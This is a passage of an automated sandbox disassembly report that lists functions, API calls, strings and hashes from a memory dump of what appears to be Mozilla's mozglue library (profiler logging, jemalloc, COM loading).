Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 1d953c29d354e541c66131006fc99505f29ec9b01ee7c115c6e2ac4a348afef7
Instruction ID: cf496043ee8e44423832c1574965c6fb4fd80984dc25955e11ed71305085e976
Opcode Fuzzy Hash: 1d953c29d354e541c66131006fc99505f29ec9b01ee7c115c6e2ac4a348afef7
Instruction Fuzzy Hash: 4111027230A604AFDB00AF68C8489E5777DFF9676DB201815EA0683F41CB35E921CBB1

Function 6C951FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C97AB89: EnterCriticalSection.KERNEL32(6C9CE370,?,?,?,6C9434DE,6C9CF6CC,?,?,?,?,?,?,?,6C943284), ref: 6C97AB94
Part of subcall function 6C97AB89: LeaveCriticalSection.KERNEL32(6C9CE370,?,6C9434DE,6C9CF6CC,?,?,?,?,?,?,?,6C943284,?,?,6C9656F6), ref: 6C97ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C951FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C951FFD
__Init_thread_footer.LIBCMT ref: 6C952011
FreeLibrary.KERNEL32 ref: 6C952059

Strings

CoCreateInstance, xrefs: 6C951FF7
combase.dll, xrefs: 6C951FD9

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: ad7df1d897504ca9c386df7f8caf4eabc2cafa72212692d945cb46ff5594840a
Instruction ID: a74b241b91b2f49f95ff38973e6b8024472125b9e9b09f34a501964d88644044
Opcode Fuzzy Hash: ad7df1d897504ca9c386df7f8caf4eabc2cafa72212692d945cb46ff5594840a
Instruction Fuzzy Hash: 14113D7530A244EFDF20CF25C849E6A3F79EB86369F204015EA0592640C731EA50CAB1

Function 6C950EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C97AB89: EnterCriticalSection.KERNEL32(6C9CE370,?,?,?,6C9434DE,6C9CF6CC,?,?,?,?,?,?,?,6C943284), ref: 6C97AB94
Part of subcall function 6C97AB89: LeaveCriticalSection.KERNEL32(6C9CE370,?,6C9434DE,6C9CF6CC,?,?,?,?,?,?,?,6C943284,?,?,6C9656F6), ref: 6C97ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C97D9F0,00000000), ref: 6C950F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C950F3C
__Init_thread_footer.LIBCMT ref: 6C950F50
FreeLibrary.KERNEL32(?,6C97D9F0,00000000), ref: 6C950F86

Strings

CoInitializeEx, xrefs: 6C950F36
combase.dll, xrefs: 6C950F18

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 837e5313182af21571a8404b013b64d3918177605a654ddfced37419e09e8a00
Instruction ID: a308ad89498353fee972efa58e095cb4c2df72ec9aaac09ca33c8a01034c5361
Opcode Fuzzy Hash: 837e5313182af21571a8404b013b64d3918177605a654ddfced37419e09e8a00
Instruction Fuzzy Hash: 2C11A9757092C09BDF00CF55C908E6A3778FB8B32DF604219EE0593742D731E625CA96

Function 6C98F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C954A68), ref: 6C98945E
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C989470
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C989482
Part of subcall function 6C989420: __Init_thread_footer.LIBCMT ref: 6C98949F

GetCurrentThreadId.KERNEL32 ref: 6C98F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C98F561

Part of subcall function 6C9894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9894EE
Part of subcall function 6C9894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C989508

GetCurrentThreadId.KERNEL32 ref: 6C98F577
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98F585
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C98F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C98F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C98F56A
[I %d/%d] profiler_resume, xrefs: 6C98F239

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 155d6593b9d802dde73e251c5a3ede67e54a3e2cbf940af62e87e95e601d6eb6
Instruction ID: bf92c46fd0e1ebfd02f552d531d4831235dddfbae8949843b8833d889b8e9da4
Opcode Fuzzy Hash: 155d6593b9d802dde73e251c5a3ede67e54a3e2cbf940af62e87e95e601d6eb6
Instruction Fuzzy Hash: D0F0E9767052009FEB006F74D84C96A777CFB9669DF200411FA0683742CB35C9008BB1

Function 6C98F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C954A68), ref: 6C98945E
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C989470
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C989482
Part of subcall function 6C989420: __Init_thread_footer.LIBCMT ref: 6C98949F

GetCurrentThreadId.KERNEL32 ref: 6C98F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C98F598), ref: 6C98F621

Part of subcall function 6C9894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9894EE
Part of subcall function 6C9894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C989508

GetCurrentThreadId.KERNEL32 ref: 6C98F637
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8,?,?,00000000,?,6C98F598), ref: 6C98F645
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8,?,?,00000000,?,6C98F598), ref: 6C98F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C98F62A

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: fe7d6562070f880d7d8d57d0b9afe263f0ea177792543378ed3ccf39da0b9ea6
Instruction ID: 9f11daa7e2089b9d9a77018f7516b43ce611e803e2ec86954346c63104277e47
Opcode Fuzzy Hash: fe7d6562070f880d7d8d57d0b9afe263f0ea177792543378ed3ccf39da0b9ea6
Instruction Fuzzy Hash: 47F08976305204AFEB006B75C84C95A777DFB966ADF200415FA0683742CB75CD058BB5

Function 6C950E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C950DF8), ref: 6C950E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C950EA1
__Init_thread_footer.LIBCMT ref: 6C950EB5
FreeLibrary.KERNEL32 ref: 6C950EC5

Strings

kernel32.dll, xrefs: 6C950E7D
GetProcessMitigationPolicy, xrefs: 6C950E9B

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 79940a1daea64edc18150172a4a73e365567db74898be15c49d10e0961de310a
Instruction ID: 417a0b415df93d7d8d79a989e733ed79c81e7d9a88e577c8acc403d822bf6083
Opcode Fuzzy Hash: 79940a1daea64edc18150172a4a73e365567db74898be15c49d10e0961de310a
Instruction Fuzzy Hash: 9101F6747082819BDF01CFA8E958A5237B9E746B1DF701525E90282B80DB74E6389A56

Function 6C9805F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C97CFAE,?,?,?,6C9431A7), ref: 6C9805FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C97CFAE,?,?,?,6C9431A7), ref: 6C980616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C9431A7), ref: 6C98061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C9431A7), ref: 6C980627

Strings

<jemalloc>, xrefs: 6C9805FA, 6C98060F
: (malloc) Error in VirtualFree(), xrefs: 6C98061B, 6C980625

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 202d3868ed34e7ba3a27903f62edbd57b568aa85f950ef5a190d6b7498b1966f
Instruction ID: c4e17bfc690b4858a080b0ed8d11386e7b4d6cbdb7de8a5f7e76da69d836ea45
Opcode Fuzzy Hash: 202d3868ed34e7ba3a27903f62edbd57b568aa85f950ef5a190d6b7498b1966f
Instruction Fuzzy Hash: E4E08CE2A0101037F6142256AC86DBB761CDBD6174F080039FD0D92701E95AED1A51F6

Function 6C9505F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d806739d25cd479161cad097b3ce48d51c912f336e9fa8b6518ba986dd4b70c
Instruction ID: 739f3c26b8fb0ff083a51c96ed0db4be6579d5519bc839e53a7751671bcc1320
Opcode Fuzzy Hash: 3d806739d25cd479161cad097b3ce48d51c912f336e9fa8b6518ba986dd4b70c
Instruction Fuzzy Hash: 9FA17AB0A01605CFDB24CF29C984A99FBF1BF48308F5086AED44A97B00E730AA55CF90

Function 6C9A14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9A14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9A14E2
GetCurrentThreadId.KERNEL32 ref: 6C9A1546
InitializeConditionVariable.KERNEL32(?), ref: 6C9A15BA
free.MOZGLUE(?), ref: 6C9A16B4

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: f2c230c48445b3ba5d2a89711d9c671ca3f6d239dc4fc278e91770d53375c709
Instruction ID: 123dad1e7a37b101dacd3ac1330a5aeca950bcf715a5f2203b76eb336d32b217
Opcode Fuzzy Hash: f2c230c48445b3ba5d2a89711d9c671ca3f6d239dc4fc278e91770d53375c709
Instruction Fuzzy Hash: 3161E072A04700DBDB218F65C880BDEB7B5BF9A308F04951CED8A57711DB31E999CB91

Function 6C999F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C999FDB
free.MOZGLUE(?,?), ref: 6C999FF0
free.MOZGLUE(?,?), ref: 6C99A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C99A0BE
free.MOZGLUE(?,?), ref: 6C99A0D5
free.MOZGLUE(?,?), ref: 6C99A0EB

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: ccc6038042e43540606a1d0fc1e55c109380236ac3b238f57b82bdc5cc09a142
Instruction ID: 071e1f4059624cd112b532307aa002ca753a052b26171ed2c5b35464495e779a
Opcode Fuzzy Hash: ccc6038042e43540606a1d0fc1e55c109380236ac3b238f57b82bdc5cc09a142
Instruction Fuzzy Hash: FF61B175908701DFD712CF18C48059AB3F5FF98328F548659E8999BB02EB32E986CBC1

Function 6C99DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C99DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C99D38A,?), ref: 6C99DC6F
free.MOZGLUE(?,?,?,?,?,6C99D38A,?), ref: 6C99DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C99D38A,?), ref: 6C99DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C99D38A,?), ref: 6C99DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C99D38A,?), ref: 6C99DD4A

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: e970f9969d04b59bc9271bd5e4eec8f89d559d8af0a33d766cfd5ed22cb61766
Instruction ID: bbc6c09b75ea97551da18ed912e19b83fad36d248ec7f140caf7854a3c91cbf5
Opcode Fuzzy Hash: e970f9969d04b59bc9271bd5e4eec8f89d559d8af0a33d766cfd5ed22cb61766
Instruction Fuzzy Hash: B5417EB6A00605CFCB00CFA9C8C099AB7F9FF99318B694569D945A7B11E731FC10CB90

Function 6C986590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C97FA80: GetCurrentThreadId.KERNEL32 ref: 6C97FA8D
Part of subcall function 6C97FA80: AcquireSRWLockExclusive.KERNEL32(6C9CF448), ref: 6C97FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C986727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C9867C8

Part of subcall function 6C994290: memcpy.VCRUNTIME140(?,?,6C9A2003,6C9A0AD9,?,6C9A0AD9,00000000,?,6C9A0AD9,?,00000004,?,6C9A1A62,?,6C9A2003,?), ref: 6C9942C4

Strings

data, xrefs: 6C986593

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 2448da0ddaf9057611e649d61a98103c5d7f56b540d070d01b0a675abd2539fb
Instruction ID: efeba8da4294c5c57856a298f2ecb79b8a01f3cb21113c44049e7ec714519021
Opcode Fuzzy Hash: 2448da0ddaf9057611e649d61a98103c5d7f56b540d070d01b0a675abd2539fb
Instruction Fuzzy Hash: 26D1CFB5A093409FD724CF24C840B9FB7E5AFE5708F14492DE4899BB91DB30E949CB92

Function 6C99C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C99C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C99C842

Part of subcall function 6C99CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C9BB5EB,00000000), ref: 6C99CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C99C863
std::_Facet_Register.LIBCPMT ref: 6C99C875

Part of subcall function 6C97B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C9BB636,?), ref: 6C97B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C99C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99C8BC

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: c5c01337bd9d4f18e097e66f23758322aebcf684ab216e7d6bf4edc46d703a7b
Instruction ID: a1e17eb41922d4aa318b396734510da1e6a68a1fc6fb95fe794105a2b2572d00
Opcode Fuzzy Hash: c5c01337bd9d4f18e097e66f23758322aebcf684ab216e7d6bf4edc46d703a7b
Instruction Fuzzy Hash: B3119875B042059FCF00DFA5CC998AEBB79EF99355F640129E60697741DB30DA08CBE1

Function 6C97D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C94EB57,?,?,?,?,?,?,?,?,?), ref: 6C97D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C94EB57,?), ref: 6C97D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C94EB57,?), ref: 6C97D673
free.MOZGLUE(?), ref: 6C97D888

Strings

|Enabled, xrefs: 6C97D81E

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: c7a1b710d8691b3a4d6b168fab922ed3cbc6f015b715a2fe933790b3a3428876
Instruction ID: 51b5d01ded12c19bcf50bed5d9917ac4752cf62e5b6657a296ad1d6d2b3bba88
Opcode Fuzzy Hash: c7a1b710d8691b3a4d6b168fab922ed3cbc6f015b715a2fe933790b3a3428876
Instruction Fuzzy Hash: A5A101B1A052089FDB20CF69C4807EEBBF4AF59318F18805CD89AAB741D735E945CBB1

Function 6C97F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C97F480

Part of subcall function 6C94F100: LoadLibraryW.KERNEL32(shell32,?,6C9BD020), ref: 6C94F122
Part of subcall function 6C94F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C94F132

CloseHandle.KERNEL32(00000000), ref: 6C97F555

Part of subcall function 6C9514B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C951248,6C951248,?), ref: 6C9514C9
Part of subcall function 6C9514B0: memcpy.VCRUNTIME140(?,6C951248,00000000,?,6C951248,?), ref: 6C9514EF

Part of subcall function 6C94EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C94EEE3

CreateFileW.KERNEL32 ref: 6C97F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C97F523

Strings

\oleacc.dll, xrefs: 6C97F4CB

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: d3f09415f4cb2431113d465cd489346be624213e856477daab27acd75ee44281
